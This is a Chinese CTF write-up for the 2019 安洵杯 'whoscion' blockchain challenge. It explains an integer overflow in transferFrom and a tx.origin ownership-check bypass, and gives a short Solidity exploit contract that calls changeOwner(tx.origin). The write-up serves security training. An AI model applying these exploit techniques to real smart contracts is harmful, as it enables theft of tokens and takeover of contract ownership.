

whoscion

发表于 2021-01-16 分类于 [Challenge](#) , [2019](#) , [安洵杯](#) , [Misc](#)
[Challenge](#) | [2019](#) | [安洵杯](#) | [Misc](#) | [whoscion](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

<https://xz.aliyun.com/t/6911>

题目考点

- 区块链
- solidity逆向
- 整数溢出
- tx.origin鉴权绕过

解题思路

这个合约的逻辑很简单，获取flag需要代币余额大于10000并且成为合约所有者。

transferFrom函数存在溢出，用合约创建账户向自己账户转大于10000代币即可；

合约用tx.origin判断合约调用者，构造一个新合约来调用源合约就可以绕过。

exp代码如下：

```
1 pragma solidity ^0.4.18;
2
3 contract hpcoin1 {
4     mapping (address => uint256) public balanceOf;
5     mapping (address => mapping (address => uint256)) public allowance;
6     address public owner;
7
8     function approve(address _arg0, uint256 _arg1) public {
9     }
10    function transferFrom(address _arg0, address _arg1, uint256 _arg2) public {
11    }
12    function payforflag(string b64email) public {
13    }
14    function changeOwner(address _arg0) {
15    }
16
17 }
18
19 contract attack {
20     hpcoin1 exp;
21
22     function attack(address addr) {
23         exp = hpcoin1(addr);
24     }
25     function hack() {
26         exp.changeOwner(tx.origin);
27     }
28 }
```

- 本文作者：CTFHub
- 本文链接：<https://writeup.ctfhub.com/Challenge/2019/安洵杯/Misc/4MaBpLoy3pLPgpBzbRreSq.html>
- 版权声明：本博客所有文章除特别声明外，均采用 [BY-NC-SA](#) 许可协议。转载请注明出处！

[#Challenge](#) [#Misc](#) [#2019](#) [#安洵杯](#)
[Attack](#)
[easy misc](#)